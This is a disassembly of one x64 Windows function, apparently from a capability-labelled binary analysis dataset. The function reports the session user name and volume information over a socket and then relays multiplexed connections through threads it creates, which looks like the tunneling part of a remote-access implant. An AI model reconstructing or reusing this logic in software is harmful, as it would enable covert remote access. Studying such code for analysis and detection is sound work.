Function at 0x1800017e2
Capabilities:
Create tcp socket
Create thread
Get disk information
Get session user name
Get socket status
Set socket configuration

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0xd88
lea rdx, [rbp - 0x38]
sub rdx, rsp
sub rsp, 0x20
lea rcx, [rsp + 0x20]
call fcn.18000286f
add rsp, 0x20
sub rsp, 0x20
mov rcx, 0
mov rdx, 0
mov r8, 1
mov r9, 0
call qword [sym.imp.kernel32.dll_CreateEventA]
add rsp, 0x20
mov qword [rbp - 0xd48], rax
sub rsp, 0x20
mov rcx, 0
mov rdx, 0x10000
mov r8, 0x3000
mov r9, 4
call qword [sym.imp.kernel32.dll_VirtualAlloc]
add rsp, 0x20
mov qword [rbp - 0x40], rax
sub rsp, 0x20
mov rcx, 0
mov rdx, 0x10000
mov r8, 0x3000
mov r9, 4
call qword [sym.imp.kernel32.dll_VirtualAlloc]
add rsp, 0x20
mov qword [rbp - 0xa0], rax
mov rdi, qword [rbp - 0xa0]
mov qword [rdi], 0x100
sub rsp, 0x20
mov rcx, 2
lea rdx, [rdi + 0x52]
mov r8, rdi
call qword [sym.imp.secur32.dll_GetUserNameExA]
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x6f0]
mov rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x18]
mov r9, 0xa
call fcn.180002569
add rsp, 0x20
test rax, rax
je 0x180001f55
sub rsp, 0x20
lea rcx, [0x180004075]
lea rdx, [rdi + 0x1c]
mov r8, 0x32
call fcn.1800028aa
add rsp, 0x20
mov word [rdi + 0x4e], 1
mov byte [rdi + 0x51], 1
mov byte [rdi + 0x7b], 0
sub rsp, 0x40
mov rcx, 0
mov rdx, 0
mov r8, 0
lea r9, [rdi + 0x7c]
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call qword [sym.imp.kernel32.dll_GetVolumeInformationA]
add rsp, 0x40
sub rsp, 0x20
lea rcx, [0x180004075]
mov rdx, 0x32
lea r8, [rdi + 0x4e]
mov r9, 0x32
call fcn.180002331
add rsp, 0x20
mov rax, qword [rbp - 0xa0]
add rax, 0x1c
sub rsp, 0x20
mov rcx, qword [rbp - 0x6f0]
mov rdx, rax
mov r8, 0x64
mov r9, 0
call fcn.180002010
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x50]
lea rdx, [rbp - 0x60]
mov r8, 8
call fcn.1800028aa
add rsp, 0x20
cmp qword [rbp - 0x50], 0
jne 0x180001b1a
cmp qword [rbp - 0xb0], 4
je 0x180001b1a
sub rsp, 0x30
mov rcx, qword [rbp - 0x6f0]
mov rdx, 0
lea r8, [rbp - 0x98]
mov r9, 0x3c
mov qword [rsp + 0x20], 0
call fcn.1800024b1
add rsp, 0x30
sub rsp, 0x30
mov rcx, 0
lea rdx, [rbp - 0x98]
mov r8, 0
mov r9, 0
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ws2_32.dll_select]
add rsp, 0x30
cmp eax, 0
jl 0x180001f55
cmp rax, 0
jne 0x180001b1a
cmp qword [rbp - 0xa8], 0
jne 0x180001f55
cmp qword [rbp - 0xb0], 0
jne 0x180001f55
mov qword [rbp - 0xd90], 1
inc qword [rbp - 0xdb0]
cmp qword [rbp - 0xdb0], 2
je 0x180001f55
mov qword [rbp - 0xdb8], 0
sub rsp, 0x20
lea rcx, [0x180004075]
mov rdx, 0x32
lea r8, [rbp - 0xdb8]
mov r9, 3
call fcn.180002331
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x6f0]
lea rdx, [rbp - 0xdb8]
mov r8, 3
mov r9, qword [rbp - 0xd48]
call fcn.180002010
add rsp, 0x20
jmp 0x1800019cf
mov rdi, qword [rbp - 0xa0]
cmp qword [rbp - 0xa8], 0
jne 0x180001b39
cmp qword [rbp - 0xb0], 4
jne 0x180001e70
cmp word [rdi + 2], 0
jne 0x180001b97
cmp byte [rdi], 0xff
jne 0x180001b5d
cmp byte [rdi + 1], 0xfe
jne 0x180001b5d
mov qword [rbp - 0xd98], 1
jmp 0x180001f55
cmp byte [rdi], 0
jne 0x180001b6b
cmp byte [rdi + 1], 0
jne 0x180001b6b
nop
jmp 0x180001b92
cmp byte [rdi + 1], 0xc8
jae 0x180001b92
cmp byte [rdi + 1], 0
jbe 0x180001b92
movzx ebx, byte [rdi + 1]
cmp qword [rbp + rbx*8 - 0x6f0], 0
je 0x180001b92
mov qword [rbp + rbx*8 - 0x6f0], 0
jmp 0x180001e60
cmp qword [rbp - 0x50], 0
jne 0x180001bf7
sub rsp, 0x20
mov rcx, qword [rbp - 0x6f0]
mov rdx, qword [rbp - 0x40]
mov r8, 0x10000
mov r9, 0
call fcn.180002131
add rsp, 0x20
test eax, eax
jle 0x180001f55
mov qword [rbp - 0x50], rax
mov qword [rbp - 0xdb0], 0
sub rsp, 0x20
lea rcx, [rbp - 0x40]
lea rdx, [rbp - 0x58]
mov r8, 8
call fcn.1800028aa
add rsp, 0x20
mov rdx, qword [rbp - 0xa8]
movzx r12d, word [rdi + 2]
sub r12, rdx
cmp qword [rbp - 0x50], r12
ja 0x180001c10
mov r12, qword [rbp - 0x50]
sub rsp, 0x20
mov rcx, qword [rbp - 0x58]
lea rdx, [rdx + rdi + 4]
mov r8, r12
call fcn.1800028aa
add rsp, 0x20
add qword [rbp - 0x58], r12
sub qword [rbp - 0x50], r12
add qword [rbp - 0xa8], r12
sub rsp, 0x20
lea rcx, [rbp - 0xa8]
lea rdx, [rdi + 2]
mov r8, 2
call fcn.1800028e9
add rsp, 0x20
cmp rax, 1
jne 0x180001e60
movzx eax, word [rdi + 2]
sub rsp, 0x20
lea rcx, [0x180004075]
mov rdx, 0x32
lea r8, [rdi + 4]
mov r9, rax
call fcn.180002331
add rsp, 0x20
movzx ebx, byte [rdi + 1]
cmp word [rdi], 0xffff
jne 0x180001c97
nop
jmp 0x180001e55
cmp byte [rdi], 0
jne 0x180001e2e
sub rsp, 0x20
mov rcx, 0
mov rdx, 0x10000
call qword [sym.imp.kernel32.dll_LocalAlloc]
add rsp, 0x20
test rax, rax
je 0x180001f55
mov rsi, rax
sub rsp, 0x20
mov rcx, rdi
mov rdx, rsi
mov r8, 0x180
call fcn.1800028aa
add rsp, 0x20
lea rax, [rbp - 0xd30]
mov qword [rsi + 0x180], rax
mov qword [rsi + 0x188], rbx
sub rsp, 0x20
lea rcx, [rbp - 0xd48]
lea rdx, [rsi + 0x190]
mov r8, 8
call fcn.1800028aa
add rsp, 0x20
lea rax, [rbp - 0x6f0]
mov qword [rsi + 0x198], rax
mov qword [rsi + 0x1a0], rsi
sub rsp, 0x20
lea rcx, [rbp - 0x6f0]
lea rdx, [rsi + 0x1a8]
mov r8, 8
call fcn.1800028aa
add rsp, 0x20
cmp byte [rsi + 7], 4
je 0x180001d7b
sub rsp, 0x20
mov rcx, 2
mov rdx, 1
mov r8, 6
call qword [sym.imp.ws2_32.dll_socket]
add rsp, 0x20
jmp 0x180001d9e
sub rsp, 0x20
mov rcx, 0x17
mov rdx, 1
mov r8, 6
call qword [sym.imp.ws2_32.dll_socket]
add rsp, 0x20
mov qword [rsi + 0x1b0], rax
mov qword [rbp + rbx*8 - 0x6f0], rax
mov qword [rbp - 0xd50], 1
sub rsp, 0x30
mov rcx, qword [rbp + rbx*8 - 0x6f0]
mov rdx, 6
mov r8, 1
lea r9, [rbp - 0xd50]
mov qword [rsp + 0x20], 8
call qword [sym.imp.ws2_32.dll_setsockopt]
add rsp, 0x30
sub rsp, 0x30
mov rcx, 0
mov rdx, 0
lea r8, [0x180001133]
mov r9, rsi
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.kernel32.dll_CreateThread]
add rsp, 0x30
mov qword [rbp + rbx*8 - 0xd30], rax
jmp 0x180001e55
movzx eax, word [rdi + 2]
sub rsp, 0x20
mov rcx, qword [rbp + rbx*8 - 0x6f0]
lea rdx, [rdi + 4]
mov r8, rax
mov r9, 0
call fcn.180002010
add rsp, 0x20
mov qword [rbp - 0xa8], 0
mov qword [rbp - 0xb0], 0
jmp 0x180001f50
cmp qword [rbp - 0x50], 0
jne 0x180001edb
sub rsp, 0x20
mov rcx, qword [rbp - 0x6f0]
mov rdx, qword [rbp - 0x40]
mov r8, 0x10000
mov r9, 0
call fcn.180002131
add rsp, 0x20
test eax, eax
jle 0x180001f55
mov qword [rbp - 0xd90], 1
mov qword [rbp - 0x50], rax
mov qword [rbp - 0xdb0], 0
sub rsp, 0x20
lea rcx, [rbp - 0x40]
lea rdx, [rbp - 0x58]
mov r8, 8
call fcn.1800028aa
add rsp, 0x20
mov r12, qword [rbp - 0xb0]
mov r13, 4
sub r13, qword [rbp - 0xb0]
cmp qword [rbp - 0x50], r13
jae 0x180001efa
mov r13, qword [rbp - 0x50]
sub rsp, 0x20
mov rcx, qword [rbp - 0x58]
lea rdx, [r12 + rdi]
mov r8, r13
call fcn.1800028aa
add rsp, 0x20
add qword [rbp - 0x58], r13
sub qword [rbp - 0x50], r13
add qword [rbp - 0xb0], r13
cmp qword [rbp - 0xb0], 4
jne 0x180001f50
sub rsp, 0x20
lea rcx, [0x180004075]
mov rdx, 0x32
mov r8, rdi
mov r9, 4
call fcn.180002331
add rsp, 0x20
jmp 0x1800019cf
sub rsp, 0x20
mov rcx, qword [rbp - 0x6f0]
call fcn.1800021f3
add rsp, 0x20
lea rsi, [rbp - 0x6f0]
mov rbx, 0xc8
mov qword [rsi], 0
add rsi, 8
dec rbx
jne 0x180001f77
xor rax, rax
lea rdi, [rbp - 0xd30]
mov rcx, 0xc8
repe scasd eax, dword [rdi]
jne 0x180001f87
sub rsp, 0x20
mov rcx, qword [rbp - 0xd48]
call qword [sym.imp.kernel32.dll_CloseHandle]
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x40]
call fcn.180002805
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0xa0]
call fcn.180002805
add rsp, 0x20
cmp qword [rbp - 0xd98], 1
jne 0x180001ff5
sub rsp, 0x20
mov rcx, 0
call qword [sym.imp.kernel32.dll_ExitThread]
mov rax, qword [rbp - 0xd90]
add rsp, 0xd88
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret